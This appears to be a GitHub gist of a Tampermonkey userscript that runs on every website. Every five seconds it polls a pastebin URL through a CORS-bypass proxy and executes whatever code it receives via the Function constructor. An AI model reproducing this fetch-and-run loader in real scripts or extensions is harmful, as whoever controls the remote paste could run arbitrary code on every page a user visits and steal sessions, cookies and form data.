Last active
January 16, 2020 12:45
-
-
Save CEBracco/d97bb67272b56f5cb3b73f389f3722bb to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// ==UserScript== | |
// @name scriptLoader | |
// @namespace http://tampermonkey.net/ | |
// @version 1.0 | |
// @updateURL https://gist.github.com/CEBracco/d97bb67272b56f5cb3b73f389f3722bb/raw/scriptLoader.user.js | |
// @description try to take over the world again! | |
// @author Batman | |
// @match http://*/* | |
// @match https://*/* | |
// @grant none | |
// ==/UserScript== | |
(function() { | |
'use strict'; | |
window.gettedFunction = ""; | |
function checkFunction(){ | |
var url = "https://cors-bypasser.glitch.me/bypass/https://pastebin.com/raw/cfTQ1Shc" | |
var xhr = new XMLHttpRequest(); | |
xhr.open('GET', url); | |
xhr.onload = function() { | |
if (xhr.status === 200 && xhr.responseText != gettedFunction) { | |
gettedFunction = xhr.responseText | |
runFunction() | |
} | |
}; | |
xhr.send(); | |
} | |
function parseFunction (str) { | |
var fn_body_idx = str.indexOf('{'), | |
fn_body = str.substring(fn_body_idx+1, str.lastIndexOf('}')), | |
fn_declare = str.substring(0, fn_body_idx), | |
fn_params = fn_declare.substring(fn_declare.indexOf('(')+1, fn_declare.lastIndexOf(')')), | |
args = fn_params.split(','); | |
args.push(fn_body); | |
function Fn () { | |
return Function.apply(this, args); | |
} | |
Fn.prototype = Function.prototype; | |
return new Fn(); | |
} | |
function runFunction() { | |
var func = parseFunction(window.gettedFunction); | |
func() | |
} | |
var intervalID = setInterval(checkFunction, 5000); | |
})(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment